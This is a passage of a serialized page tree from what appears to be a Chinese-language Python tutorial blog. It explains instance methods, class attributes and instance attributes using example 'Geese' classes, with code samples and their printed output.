4,77690],{"type":18,"tag":74,"props":77685,"children":77687},{"className":77686},[],[77688],{"type":24,"value":77689},"instanceName",{"type":24,"value":77691},"：为类的实例名称。",{"type":18,"tag":158,"props":77693,"children":77694},{},[77695,77700],{"type":18,"tag":74,"props":77696,"children":77698},{"className":77697},[],[77699],{"type":24,"value":77613},{"type":24,"value":77701},"：为要调用的方法名称。",{"type":18,"tag":158,"props":77703,"children":77704},{},[77705,77711,77713,77718],{"type":18,"tag":74,"props":77706,"children":77708},{"className":77707},[],[77709],{"type":24,"value":77710},"parametervalue",{"type":24,"value":77712},"：表示为方法指定对应的实际参数，其值的个数与创建实例方法中",{"type":18,"tag":74,"props":77714,"children":77716},{"className":77715},[],[77717],{"type":24,"value":76001},{"type":24,"value":77719},"的个数相同。",{"type":18,"tag":34,"props":77721,"children":77722},{},[77723],{"type":24,"value":77724},"下面通过一个具体的实例演示创建实例方法并访问。",{"type":18,"tag":34,"props":77726,"children":77727},{},[77728],{"type":18,"tag":105,"props":77729,"children":77730},{},[77731],{"type":24,"value":77732},"实例  创建大雁类并定义飞行方法",{"type":18,"tag":34,"props":77734,"children":77735},{},[77736,77738,77744,77746,77752,77754,77760,77762,77767,77769,77774],{"type":24,"value":77737},"在IDLE中创建一个名称为",{"type":18,"tag":74,"props":77739,"children":77741},{"className":77740},[],[77742],{"type":24,"value":77743},"geese.py",{"type":24,"value":77745},"的文件，然后在该文件中定义一个大雁类",{"type":18,"tag":74,"props":77747,"children":77749},{"className":77748},[],[77750],{"type":24,"value":77751},"Geese",{"type":24,"value":77753},"，并定义一个构造方法，然后再定义一个实例方法",{"type":18,"tag":74,"props":77755,"children":77757},{"className":77756},[],[77758],{"type":24,"value":77759},"fly()",{"type":24,"value":77761},"，该方法有两个参数，一个是",{"type":18,"tag":74,"props":77763,"children":77765},{"className":77764},[],[77766],{"type":24,"value":76130},{"type":24,"value":77768},"，另一个用于指定飞行状态，最后再创建大雁类的实例，并调用实例方法",{"type":18,"tag":74,"props":77770,"children":77772},{"className":77771},[],[77773],{"type":24,"value":77759},{"type":24,"value":48645},{"type":18,"tag":287,"props":77776,"children":77778},{"code":77777,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:                                                    # 创建大雁类  \n    '''大雁类'''  \n    def __init__(self, beak, wing, claw):                       # 构造方法  \n        print(\"我是大雁类！我有以下特征：\")  \n        print(beak)                                             # 输出喙的特征  \n        print(wing)                                             # 输出翅膀的特征  \n        print(claw)                                             # 输出爪子的特征  \n  \n    def fly(self, state):                                       # 定义飞行方法  \n        print(state)  \n  \n'''**************调用方法*********************'''  \n  \nbeak_1 = \"喙的基部较高，长度和头部的长度几乎相等\"                   # 喙的特征  \nwing_1 = \"翅膀长而尖\"                                            # 翅膀的特征  \nclaw_1 = \"爪子是蹼状的\"                                          # 爪子的特征  \nwildGoose = Geese(beak_1, wing_1, claw_1)                       # 创建大雁类的实例  \nwildGoose.fly(\"我飞行的时候，一会儿排成个人字，一会排成个一字\")      # 调用实例方法\n",[77779],{"type":18,"tag":74,"props":77780,"children":77781},{"__ignoreMap":8},[77782,77790,77797,77805,77812,77820,77828,77836,77843,77851,77859,77866,77874,77881,77889,77897,77905,77913],{"type":18,"tag":297,"props":77783,"children":77784},{"class":299,"line":300},[77785],{"type":18,"tag":297,"props":77786,"children":77787},{},[77788],{"type":24,"value":77789},"class Geese:                                                    # 创建大雁类  \n",{"type":18,"tag":297,"props":77791,"children":77792},{"class":299,"line":657},[77793],{"type":18,"tag":297,"props":77794,"children":77795},{},[77796],{"type":24,"value":76284},{"type":18,"tag":297,"props":77798,"children":77799},{"class":299,"line":662},[77800],{"type":18,"tag":297,"props":77801,"children":77802},{},[77803],{"type":24,"value":77804},"    def __init__(self, beak, wing, claw):                       # 构造方法  \n",{"type":18,"tag":297,"props":77806,"children":77807},{"class":299,"line":799},[77808],{"type":18,"tag":297,"props":77809,"children":77810},{},[77811],{"type":24,"value":76424},{"type":18,"tag":297,"props":77813,"children":77814},{"class":299,"line":808},[77815],{"type":18,"tag":297,"props":77816,"children":77817},{},[77818],{"type":24,"value":77819},"        print(beak)                                             # 输出喙的特征  \n",{"type":18,"tag":297,"props":77821,"children":77822},{"class":299,"line":817},[77823],{"type":18,"tag":297,"props":77824,"children":77825},{},[77826],{"type":24,"value":77827},"        print(wing)                                             # 输出翅膀的特征  \n",{"type":18,"tag":297,"props":77829,"children":77830},{"class":299,"line":826},[77831],{"type":18,"tag":297,"props":77832,"children":77833},{},[77834],{"type":24,"value":77835},"        print(claw)                                             # 输出爪子的特征  \n",{"type":18,"tag":297,"props":77837,"children":77838},{"class":299,"line":4524},[77839],{"type":18,"tag":297,"props":77840,"children":77841},{},[77842],{"type":24,"value":36783},{"type":18,"tag":297,"props":77844,"children":77845},{"class":299,"line":4533},[77846],{"type":18,"tag":297,"props":77847,"children":77848},{},[77849],{"type":24,"value":77850},"    def fly(self, state):                                       # 定义飞行方法  \n",{"type":18,"tag":297,"props":77852,"children":77853},{"class":299,"line":4546},[77854],{"type":18,"tag":297,"props":77855,"children":77856},{},[77857],{"type":24,"value":77858},"        print(state)  \n",{"type":18,"tag":297,"props":77860,"children":77861},{"class":299,"line":4555},[77862],{"type":18,"tag":297,"props":77863,"children":77864},{},[77865],{"type":24,"value":36783},{"type":18,"tag":297,"props":77867,"children":77868},{"class":299,"line":4568},[77869],{"type":18,"tag":297,"props":77870,"children":77871},{},[77872],{"type":24,"value":77873},"'''**************调用方法*********************'''  \n",{"type":18,"tag":297,"props":77875,"children":77876},{"class":299,"line":4577},[77877],{"type":18,"tag":297,"props":77878,"children":77879},{},[77880],{"type":24,"value":36783},{"type":18,"tag":297,"props":77882,"children":77883},{"class":299,"line":4590},[77884],{"type":18,"tag":297,"props":77885,"children":77886},{},[77887],{"type":24,"value":77888},"beak_1 = \"喙的基部较高，长度和头部的长度几乎相等\"                   # 喙的特征  \n",{"type":18,"tag":297,"props":77890,"children":77891},{"class":299,"line":4599},[77892],{"type":18,"tag":297,"props":77893,"children":77894},{},[77895],{"type":24,"value":77896},"wing_1 = \"翅膀长而尖\"                                            # 翅膀的特征  \n",{"type":18,"tag":297,"props":77898,"children":77899},{"class":299,"line":4607},[77900],{"type":18,"tag":297,"props":77901,"children":77902},{},[77903],{"type":24,"value":77904},"claw_1 = \"爪子是蹼状的\"                                          # 爪子的特征  \n",{"type":18,"tag":297,"props":77906,"children":77907},{"class":299,"line":4616},[77908],{"type":18,"tag":297,"props":77909,"children":77910},{},[77911],{"type":24,"value":77912},"wildGoose = Geese(beak_1, wing_1, claw_1)                       # 创建大雁类的实例  \n",{"type":18,"tag":297,"props":77914,"children":77915},{"class":299,"line":4624},[77916],{"type":18,"tag":297,"props":77917,"children":77918},{},[77919],{"type":24,"value":77920},"wildGoose.fly(\"我飞行的时候，一会儿排成个人字，一会排成个一字\")      # 调用实例方法\n",{"type":18,"tag":34,"props":77922,"children":77923},{},[77924],{"type":24,"value":77925},"运行结果如图所示：",{"type":18,"tag":34,"props":77927,"children":77928},{},[77929],{"type":18,"tag":54,"props":77930,"children":77933},{"alt":77931,"src":77932},"Pasted image 20250809095521","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809095521.png",[],{"type":18,"tag":27,"props":77935,"children":77937},{"id":77936},"_42-创建数据成员并访问",[77938],{"type":24,"value":77939},"4.2 创建数据成员并访问",{"type":18,"tag":34,"props":77941,"children":77942},{},[77943],{"type":18,"tag":105,"props":77944,"children":77945},{},[77946],{"type":24,"value":77947},"数据成员是指在类中定义的变量，即属性，根据定义位置，又可以分为类属性和实例属性。",{"type":18,"tag":337,"props":77949,"children":77951},{"id":77950},"_421-类属性",[77952],{"type":24,"value":77953},"4.2.1 类属性",{"type":18,"tag":34,"props":77955,"children":77956},{},[77957,77962],{"type":18,"tag":105,"props":77958,"children":77959},{},[77960],{"type":24,"value":77961},"类属性是指定义在类中，并且在函数体外的属性",{"type":24,"value":77963},"。类属性可以在类的所有实例之间共享值，也就是在所有实例化的对象中公用。",{"type":18,"tag":96,"props":77965,"children":77966},{},[77967],{"type":18,"tag":34,"props":77968,"children":77969},{},[77970],{"type":24,"value":77971},"说明：类属性可以通过类名称或者实例名访问。",{"type":18,"tag":34,"props":77973,"children":77974},{},[77975],{"type":24,"value":77976},"例如，定义一个雁类Geese，在该类中定义3个类属性，用于记录雁类的特征，代码如下：",{"type":18,"tag":287,"props":77978,"children":77980},{"code":77979,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:  \n    '''雁类'''  \n    neck = \"脖子较长\"                           # 定义类属性（脖子）  \n    wing = \"振翅频率高\"                         # 定义类属性（翅膀）  \n    leg = \"腿位于身体的中心支点，行走自如\"        # 定义类属性（腿）  \n  \n    def __init__(self):                       # 实例方法（相当于构造方法）  \n        print(\"我属于雁类！我有以下特征：\")  \n        print(Geese.neck)                     # 输出脖子的特征  \n        print(Geese.wing)                     # 输出翅膀的特征  \n        print(Geese.leg)                      # 输出腿的特征\n",[77981],{"type":18,"tag":74,"props":77982,"children":77983},{"__ignoreMap":8},[77984,77991,77999,78007,78015,78023,78030,78038,78046,78054,78062],{"type":18,"tag":297,"props":77985,"children":77986},{"class":299,"line":300},[77987],{"type":18,"tag":297,"props":77988,"children":77989},{},[77990],{"type":24,"value":76276},{"type":18,"tag":297,"props":77992,"children":77993},{"class":299,"line":657},[77994],{"type":18,"tag":297,"props":77995,"children":77996},{},[77997],{"type":24,"value":77998},"    '''雁类'''  \n",{"type":18,"tag":297,"props":78000,"children":78001},{"class":299,"line":662},[78002],{"type":18,"tag":297,"props":78003,"children":78004},{},[78005],{"type":24,"value":78006},"    neck = \"脖子较长\"                           # 定义类属性（脖子）  \n",{"type":18,"tag":297,"props":78008,"children":78009},{"class":299,"line":799},[78010],{"type":18,"tag":297,"props":78011,"children":78012},{},[78013],{"type":24,"value":78014},"    wing = \"振翅频率高\"                         # 定义类属性（翅膀）  \n",{"type":18,"tag":297,"props":78016,"children":78017},{"class":299,"line":808},[78018],{"type":18,"tag":297,"props":78019,"children":78020},{},[78021],{"type":24,"value":78022},"    leg = \"腿位于身体的中心支点，行走自如\"        # 定义类属性（腿）  \n",{"type":18,"tag":297,"props":78024,"children":78025},{"class":299,"line":817},[78026],{"type":18,"tag":297,"props":78027,"children":78028},{},[78029],{"type":24,"value":36783},{"type":18,"tag":297,"props":78031,"children":78032},{"class":299,"line":826},[78033],{"type":18,"tag":297,"props":78034,"children":78035},{},[78036],{"type":24,"value":78037},"    def __init__(self):                       # 实例方法（相当于构造方法）  \n",{"type":18,"tag":297,"props":78039,"children":78040},{"class":299,"line":4524},[78041],{"type":18,"tag":297,"props":78042,"children":78043},{},[78044],{"type":24,"value":78045},"        print(\"我属于雁类！我有以下特征：\")  \n",{"type":18,"tag":297,"props":78047,"children":78048},{"class":299,"line":4533},[78049],{"type":18,"tag":297,"props":78050,"children":78051},{},[78052],{"type":24,"value":78053},"        print(Geese.neck)                     # 输出脖子的特征  \n",{"type":18,"tag":297,"props":78055,"children":78056},{"class":299,"line":4546},[78057],{"type":18,"tag":297,"props":78058,"children":78059},{},[78060],{"type":24,"value":78061},"        print(Geese.wing)                     # 输出翅膀的特征  \n",{"type":18,"tag":297,"props":78063,"children":78064},{"class":299,"line":4555},[78065],{"type":18,"tag":297,"props":78066,"children":78067},{},[78068],{"type":24,"value":78069},"        print(Geese.leg)                      # 输出腿的特征\n",{"type":18,"tag":34,"props":78071,"children":78072},{},[78073],{"type":24,"value":78074},"创建上面的类Geese，然后创建该类的实例，代码如下：",{"type":18,"tag":287,"props":78076,"children":78078},{"code":78077,"language":28712,"meta":8,"className":28710,"style":8},"geese = Geese()     # 实例化一个大雁类的对象\n",[78079],{"type":18,"tag":74,"props":78080,"children":78081},{"__ignoreMap":8},[78082],{"type":18,"tag":297,"props":78083,"children":78084},{"class":299,"line":300},[78085],{"type":18,"tag":297,"props":78086,"children":78087},{},[78088],{"type":24,"value":78077},{"type":18,"tag":34,"props":78090,"children":78091},{},[78092],{"type":24,"value":78093},"应用上面的代码创建Geese类的实例后，将显示以下内容：",{"type":18,"tag":287,"props":78095,"children":78097},{"code":78096},"我是雁类！我有以下特征：\n脖子较长\n振翅频率高\n腿位于身体的中心支点，行走自如\n",[78098],{"type":18,"tag":74,"props":78099,"children":78100},{"__ignoreMap":8},[78101],{"type":24,"value":78096},{"type":18,"tag":34,"props":78103,"children":78104},{},[78105],{"type":24,"value":78106},"下面通过一个具体的实例演示类属性在类的所有实例之间共享值的应用。",{"type":18,"tag":34,"props":78108,"children":78109},{},[78110],{"type":24,"value":78111},"场景模拟：春天来了，有一群大雁从南方返回北方。现在想要输出每只大雁的特征以及大雁的数量。",{"type":18,"tag":34,"props":78113,"children":78114},{},[78115],{"type":18,"tag":105,"props":78116,"children":78117},{},[78118],{"type":24,"value":78119},"实例 通过类属性统计类的实例个数",{"type":18,"tag":34,"props":78121,"children":78122},{},[78123,78124,78130,78132,78137],{"type":24,"value":77737},{"type":18,"tag":74,"props":78125,"children":78127},{"className":78126},[],[78128],{"type":24,"value":78129},"geese_a.py",{"type":24,"value":78131},"的文件，然后在该文件中定义一个雁类",{"type":18,"tag":74,"props":78133,"children":78135},{"className":78134},[],[78136],{"type":24,"value":77751},{"type":24,"value":78138},"，并在该类中定义4个类属性，前3个用于记录雁类的特征，第4个用于记录实例编号，然后定义一个构造方法，在该构造方法中将记录实例编号的类属性进行加1操作，并输出4个类属性的值，最后通过for循环创建4个雁类的实例，代码如下：",{"type":18,"tag":287,"props":78140,"children":78142},{"code":78141,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:  \n    '''雁类'''  \n    neck = \"脖子较长\"                           # 类属性（脖子）  \n    wing = \"振翅频率高\"                         # 类属性（翅膀）  \n    leg = \"腿位于身体的中心支点，行走自如\"         # 类属性（腿）  \n    number = 0                                 # 编号  \n  \n    def __init__(self):                        # 构造方法  \n        Geese.number += 1                      # 将编号加1  \n        print(\"\\n我是第\"+str(Geese.number)+\"只大雁，我属于雁类！我有以下特征：\")  \n        print(Geese.neck)                      # 输出脖子的特征  \n        print(Geese.wing)                      # 输出翅膀的特征  \n        print(Geese.leg)                       # 输出腿的特征  \n  \n# 创建4个雁类的对象（相当于有4只大雁)  \nlist1 = []  \nfor i in range(4):                             # 循环4次  \n     list1.append(Geese())                     # 创建一个雁类的实例  \nprint(\"一共有\"+str(Geese.number)+\"只大雁\")\n",[78143],{"type":18,"tag":74,"props":78144,"children":78145},{"__ignoreMap":8},[78146,78153,78160,78168,78176,78184,78192,78199,78207,78215,78223,78231,78239,78247,78254,78262,78270,78278,78286],{"type":18,"tag":297,"props":78147,"children":78148},{"class":299,"line":300},[78149],{"type":18,"tag":297,"props":78150,"children":78151},{},[78152],{"type":24,"value":76276},{"type":18,"tag":297,"props":78154,"children":78155},{"class":299,"line":657},[78156],{"type":18,"tag":297,"props":78157,"children":78158},{},[78159],{"type":24,"value":77998},{"type":18,"tag":297,"props":78161,"children":78162},{"class":299,"line":662},[78163],{"type":18,"tag":297,"props":78164,"children":78165},{},[78166],{"type":24,"value":78167},"    neck = \"脖子较长\"                           # 类属性（脖子）  \n",{"type":18,"tag":297,"props":78169,"children":78170},{"class":299,"line":799},[78171],{"type":18,"tag":297,"props":78172,"children":78173},{},[78174],{"type":24,"value":78175},"    wing = \"振翅频率高\"                         # 类属性（翅膀）  \n",{"type":18,"tag":297,"props":78177,"children":78178},{"class":299,"line":808},[78179],{"type":18,"tag":297,"props":78180,"children":78181},{},[78182],{"type":24,"value":78183},"    leg = \"腿位于身体的中心支点，行走自如\"         # 类属性（腿）  \n",{"type":18,"tag":297,"props":78185,"children":78186},{"class":299,"line":817},[78187],{"type":18,"tag":297,"props":78188,"children":78189},{},[78190],{"type":24,"value":78191},"    number = 0                                 # 编号  \n",{"type":18,"tag":297,"props":78193,"children":78194},{"class":299,"line":826},[78195],{"type":18,"tag":297,"props":78196,"children":78197},{},[78198],{"type":24,"value":36783},{"type":18,"tag":297,"props":78200,"children":78201},{"class":299,"line":4524},[78202],{"type":18,"tag":297,"props":78203,"children":78204},{},[78205],{"type":24,"value":78206},"    def __init__(self):                        # 构造方法  \n",{"type":18,"tag":297,"props":78208,"children":78209},{"class":299,"line":4533},[78210],{"type":18,"tag":297,"props":78211,"children":78212},{},[78213],{"type":24,"value":78214},"        Geese.number += 1                      # 将编号加1  \n",{"type":18,"tag":297,"props":78216,"children":78217},{"class":299,"line":4546},[78218],{"type":18,"tag":297,"props":78219,"children":78220},{},[78221],{"type":24,"value":78222},"        print(\"\\n我是第\"+str(Geese.number)+\"只大雁，我属于雁类！我有以下特征：\")  \n",{"type":18,"tag":297,"props":78224,"children":78225},{"class":299,"line":4555},[78226],{"type":18,"tag":297,"props":78227,"children":78228},{},[78229],{"type":24,"value":78230},"        print(Geese.neck)                      # 输出脖子的特征  \n",{"type":18,"tag":297,"props":78232,"children":78233},{"class":299,"line":4568},[78234],{"type":18,"tag":297,"props":78235,"children":78236},{},[78237],{"type":24,"value":78238},"        print(Geese.wing)                      # 输出翅膀的特征  \n",{"type":18,"tag":297,"props":78240,"children":78241},{"class":299,"line":4577},[78242],{"type":18,"tag":297,"props":78243,"children":78244},{},[78245],{"type":24,"value":78246},"        print(Geese.leg)                       # 输出腿的特征  \n",{"type":18,"tag":297,"props":78248,"children":78249},{"class":299,"line":4590},[78250],{"type":18,"tag":297,"props":78251,"children":78252},{},[78253],{"type":24,"value":36783},{"type":18,"tag":297,"props":78255,"children":78256},{"class":299,"line":4599},[78257],{"type":18,"tag":297,"props":78258,"children":78259},{},[78260],{"type":24,"value":78261},"# 创建4个雁类的对象（相当于有4只大雁)  \n",{"type":18,"tag":297,"props":78263,"children":78264},{"class":299,"line":4607},[78265],{"type":18,"tag":297,"props":78266,"children":78267},{},[78268],{"type":24,"value":78269},"list1 = []  \n",{"type":18,"tag":297,"props":78271,"children":78272},{"class":299,"line":4616},[78273],{"type":18,"tag":297,"props":78274,"children":78275},{},[78276],{"type":24,"value":78277},"for i in range(4):                             # 循环4次  \n",{"type":18,"tag":297,"props":78279,"children":78280},{"class":299,"line":4624},[78281],{"type":18,"tag":297,"props":78282,"children":78283},{},[78284],{"type":24,"value":78285},"     list1.append(Geese())                     # 创建一个雁类的实例  \n",{"type":18,"tag":297,"props":78287,"children":78288},{"class":299,"line":4633},[78289],{"type":18,"tag":297,"props":78290,"children":78291},{},[78292],{"type":24,"value":78293},"print(\"一共有\"+str(Geese.number)+\"只大雁\")\n",{"type":18,"tag":34,"props":78295,"children":78296},{},[78297],{"type":24,"value":78298},"运行结果如下图所示：",{"type":18,"tag":34,"props":78300,"children":78301},{},[78302],{"type":18,"tag":54,"props":78303,"children":78306},{"alt":78304,"src":78305},"Pasted image 20250809101300","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809101300.png",[],{"type":18,"tag":34,"props":78308,"children":78309},{},[78310,78311,78316],{"type":24,"value":76338},{"type":18,"tag":105,"props":78312,"children":78313},{},[78314],{"type":24,"value":78315},"Python中除了可以通过类名称访问类属性，还可以动态地为类和对象添加属性",{"type":24,"value":78317},"。例如，在实例02的基础上为雁类添加一个beak属性，并通过类的实例访问该属性，可以在上面代码的后面再添加以下代码：",{"type":18,"tag":287,"props":78319,"children":78321},{"code":78320,"language":28712,"meta":8,"className":28710,"style":8},"Geese.beak = \"喙的基部较高，长度和头部的长度几乎相等\"   # 添加类属性  \nprint(\"第2只大雁的喙：\",list1[1].beak)               # 访问类属性\n",[78322],{"type":18,"tag":74,"props":78323,"children":78324},{"__ignoreMap":8},[78325,78333],{"type":18,"tag":297,"props":78326,"children":78327},{"class":299,"line":300},[78328],{"type":18,"tag":297,"props":78329,"children":78330},{},[78331],{"type":24,"value":78332},"Geese.beak = \"喙的基部较高，长度和头部的长度几乎相等\"   # 添加类属性  \n",{"type":18,"tag":297,"props":78334,"children":78335},{"class":299,"line":657},[78336],{"type":18,"tag":297,"props":78337,"children":78338},{},[78339],{"type":24,"value":78340},"print(\"第2只大雁的喙：\",list1[1].beak)               # 访问类属性\n",{"type":18,"tag":96,"props":78342,"children":78343},{},[78344],{"type":18,"tag":34,"props":78345,"children":78346},{},[78347],{"type":24,"value":78348},"说明：上面的代码只是以第2只大雁为例进行演示，读者也可以换成其他的大雁试试。",{"type":18,"tag":34,"props":78350,"children":78351},{},[78352],{"type":24,"value":78353},"运行后，将在原来的结果后面再显示以下内容：",{"type":18,"tag":287,"props":78355,"children":78357},{"code":78356},"第2只大雁的喙：喙的基部较高，长度和头部的长度几乎相等\n",[78358],{"type":18,"tag":74,"props":78359,"children":78360},{"__ignoreMap":8},[78361],{"type":24,"value":78356},{"type":18,"tag":96,"props":78363,"children":78364},{},[78365],{"type":18,"tag":34,"props":78366,"children":78367},{},[78368],{"type":24,"value":78369},"说明：除了可以动态地为类和对象添加属性，也可以修改类属性。修改结果将作用于该类的所有实例。",{"type":18,"tag":337,"props":78371,"children":78373},{"id":78372},"_422-实例属性",[78374],{"type":24,"value":78375},"4.2.2 实例属性",{"type":18,"tag":34,"props":78377,"children":78378},{},[78379,78384],{"type":18,"tag":105,"props":78380,"children":78381},{},[78382],{"type":24,"value":78383},"实例属性是指定义在类的方法中的属性",{"type":24,"value":78385},"，只作用于当前实例中。",{"type":18,"tag":34,"props":78387,"children":78388},{},[78389],{"type":24,"value":78390},"例如，定义一个雁类Geese，在该类的__init__()方法中定义3个实例属性，用于记录雁类的特征，代码如下：",{"type":18,"tag":287,"props":78392,"children":78394},{"code":78393,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:  \n    '''雁类'''  \n    def __init__(self):                              # 实例方法（相当于构造方法）  \n        self.neck = \"脖子较长\"                        # 定义实例属性（脖子）  \n        self.wing = \"振翅频率高\"                      # 定义实例属性（翅膀）  \n        self.leg = \"腿位于身体的中心支点，行走自如\"     # 定义实例属性（腿）  \n        print(\"我属于雁类！我有以下特征：\")  \n        print(self.neck)                           # 输出脖子的特征  \n        print(self.wing)                           # 输出翅膀的特征  \n        print(self.leg)                            # 输出腿的特征\n",[78395],{"type":18,"tag":74,"props":78396,"children":78397},{"__ignoreMap":8},[78398,78405,78412,78420,78428,78436,78444,78451,78459,78467],{"type":18,"tag":297,"props":78399,"children":78400},{"class":299,"line":300},[78401],{"type":18,"tag":297,"props":78402,"children":78403},{},[78404],{"type":24,"value":76276},{"type":18,"tag":297,"props":78406,"children":78407},{"class":299,"line":657},[78408],{"type":18,"tag":297,"props":78409,"children":78410},{},[78411],{"type":24,"value":77998},{"type":18,"tag":297,"props":78413,"children":78414},{"class":299,"line":662},[78415],{"type":18,"tag":297,"props":78416,"children":78417},{},[78418],{"type":24,"value":78419},"    def __init__(self):                              # 实例方法（相当于构造方法）  \n",{"type":18,"tag":297,"props":78421,"children":78422},{"class":299,"line":799},[78423],{"type":18,"tag":297,"props":78424,"children":78425},{},[78426],{"type":24,"value":78427},"        self.neck = \"脖子较长\"                        # 定义实例属性（脖子）  \n",{"type":18,"tag":297,"props":78429,"children":78430},{"class":299,"line":808},[78431],{"type":18,"tag":297,"props":78432,"children":78433},{},[78434],{"type":24,"value":78435},"        self.wing = \"振翅频率高\"                      # 定义实例属性（翅膀）  \n",{"type":18,"tag":297,"props":78437,"children":78438},{"class":299,"line":817},[78439],{"type":18,"tag":297,"props":78440,"children":78441},{},[78442],{"type":24,"value":78443},"        self.leg = \"腿位于身体的中心支点，行走自如\"     # 定义实例属性（腿）  \n",{"type":18,"tag":297,"props":78445,"children":78446},{"class":299,"line":826},[78447],{"type":18,"tag":297,"props":78448,"children":78449},{},[78450],{"type":24,"value":78045},{"type":18,"tag":297,"props":78452,"children":78453},{"class":299,"line":4524},[78454],{"type":18,"tag":297,"props":78455,"children":78456},{},[78457],{"type":24,"value":78458},"        print(self.neck)                           # 输出脖子的特征  \n",{"type":18,"tag":297,"props":78460,"children":78461},{"class":299,"line":4533},[78462],{"type":18,"tag":297,"props":78463,"children":78464},{},[78465],{"type":24,"value":78466},"        print(self.wing)                           # 输出翅膀的特征  \n",{"type":18,"tag":297,"props":78468,"children":78469},{"class":299,"line":4546},[78470],{"type":18,"tag":297,"props":78471,"children":78472},{},[78473],{"type":24,"value":78474},"        print(self.leg)                            # 输出腿的特征\n",{"type":18,"tag":34,"props":78476,"children":78477},{},[78478],{"type":24,"value":78074},{"type":18,"tag":287,"props":78480,"children":78482},{"code":78481,"language":28712,"meta":8,"className":28710,"style":8},"geese = Geese()                                  # 实例化一个雁类的对象\n",[78483],{"type":18,"tag":74,"props":78484,"children":78485},{"__ignoreMap":8},[78486],{"type":18,"tag":297,"props":78487,"children":78488},{"class":299,"line":300},[78489],{"type":18,"tag":297,"props":78490,"children":78491},{},[78492],{"type":24,"value":78481},{"type":18,"tag":34,"props":78494,"children":78495},{},[78496],{"type":24,"value":78093},{"type":18,"tag":287,"props":78498,"children":78499},{"code":78096},[78500],{"type":18,"tag":74,"props":78501,"children":78502},{"__ignoreMap":8},[78503],{"type":24,"value":78096},{"type":18,"tag":96,"props":78505,"children":78506},{},[78507],{"type":18,"tag":34,"props":78508,"children":78509},{},[78510,78512,78518],{"type":24,"value":78511},"说明：实例属性只能通过实例名访问。如果通过类名访问实例属性，如执行",{"type":18,"tag":74,"props":78513,"children":78515},{"className":78514},[],[78516],{"type":24,"value":78517},"print(Geese.neck)",{"type":24,"value":78519},"将抛出如图所示的异常。",{"type":18,"tag":34,"props":78521,"children":78522},{},[78523],{"type":18,"tag":54,"props":78524,"children":78527},{"alt":78525,"src":78526},"Pasted image 20250809102417","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809102417.png",[],{"type":18,"tag":34,"props":78529,"children":78530},{},[78531,78536],{"type":18,"tag":105,"props":78532,"children":78533},{},[78534],{"type":24,"value":78535},"对于实例属性也可以通过实例名称修改，与类属性不同，通过实例名称修改实例属性后，并不影响该类的另一个实例中相应的实例属性的值",{"type":24,"value":78537},"。例如，定义一个雁类，并在__init__()方法中定义一个实例属性，然后创建两个Geese类的实例，并且修改第一个实例的实例属性，最后分别输出实例1和实例2的实例属性，代码如下：",{"type":18,"tag":287,"props":78539,"children":78541},{"code":78540,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:  \n    '''雁类'''  \n    def __init__(self):                           # 实例方法（相当于构造方法）  \n        self.neck = \"脖子较长\"                     # 定义实例属性（脖子）  \n        print(self.neck)                          # 输出脖子的特征  \n  \ngoose1 = Geese()                                 # 创建Geese类的实例1  \ngoose2 = Geese()                                 # 创建Geese类的实例2  \ngoose1.neck = \"脖子没有天鹅的长\"                   # 修改实例属性  \nprint(\"goose1的neck属性：\",goose1.neck)  \nprint(\"goose2的neck属性：\",goose2.neck)\n",[78542],{"type":18,"tag":74,"props":78543,"children":78544},{"__ignoreMap":8},[78545,78552,78559,78567,78575,78583,78590,78598,78606,78614,78622],{"type":18,"tag":297,"props":78546,"children":78547},{"class":299,"line":300},[78548],{"type":18,"tag":297,"props":78549,"children":78550},{},[78551],{"type":24,"value":76276},{"type":18,"tag":297,"props":78553,"children":78554},{"class":299,"line":657},[78555],{"type":18,"tag":297,"props":78556,"children":78557},{},[78558],{"type":24,"value":77998},{"type":18,"tag":297,"props":78560,"children":78561},{"class":299,"line":662},[78562],{"type":18,"tag":297,"props":78563,"children":78564},{},[78565],{"type":24,"value":78566},"    def __init__(self):                           # 实例方法（相当于构造方法）  \n",{"type":18,"tag":297,"props":78568,"children":78569},{"class":299,"line":799},[78570],{"type":18,"tag":297,"props":78571,"children":78572},{},[78573],{"type":24,"value":78574},"        self.neck = \"脖子较长\"                     # 定义实例属性（脖子）  \n",{"type":18,"tag":297,"props":78576,"children":78577},{"class":299,"line":808},[78578],{"type":18,"tag":297,"props":78579,"children":78580},{},[78581],{"type":24,"value":78582},"        print(self.neck)                          # 输出脖子的特征  \n",{"type":18,"tag":297,"props":78584,"children":78585},{"class":299,"line":817},[78586],{"type":18,"tag":297,"props":78587,"children":78588},{},[78589],{"type":24,"value":36783},{"type":18,"tag":297,"props":78591,"children":78592},{"class":299,"line":826},[78593],{"type":18,"tag":297,"props":78594,"children":78595},{},[78596],{"type":24,"value":78597},"goose1 = Geese()                                 # 创建Geese类的实例1  \n",{"type":18,"tag":297,"props":78599,"children":78600},{"class":299,"line":4524},[78601],{"type":18,"tag":297,"props":78602,"children":78603},{},[78604],{"type":24,"value":78605},"goose2 = Geese()                                 # 创建Geese类的实例2  \n",{"type":18,"tag":297,"props":78607,"children":78608},{"class":299,"line":4533},[78609],{"type":18,"tag":297,"props":78610,"children":78611},{},[78612],{"type":24,"value":78613},"goose1.neck = \"脖子没有天鹅的长\"                   # 修改实例属性  \n",{"type":18,"tag":297,"props":78615,"children":78616},{"class":299,"line":4546},[78617],{"type":18,"tag":297,"props":78618,"children":78619},{},[78620],{"type":24,"value":78621},"print(\"goose1的neck属性：\",goose1.neck)  \n",{"type":18,"tag":297,"props":78623,"children":78624},{"class":299,"line":4555},[78625],{"type":18,"tag":297,"props":78626,"children":78627},{},[78628],{"type":24,"value":78629},"print(\"goose2的neck属性：\",goose2.neck)\n",{"type":18,"tag":34,"props":78631,"children":78632},{},[78633],{"type":24,"value":78634},"运行上面的代码，将显示以下内容：",{"type":18,"tag":287,"props":78636,"children":78638},{"code":78637},"脖子较长\n脖子较长\ngoose1的neck属性： 脖子没有天鹅的长\ngoose2的neck属性： 脖子较长\n",[78639],{"type":18,"tag":74,"props":78640,"children":78641},{"__ignoreMap":8},[78642],{"type":24,"value":78637},{"type":18,"tag":19,"props":78644,"children":78646},{"id":78645},"_5-访问限制",[78647],{"type":24,"value":78648},"5 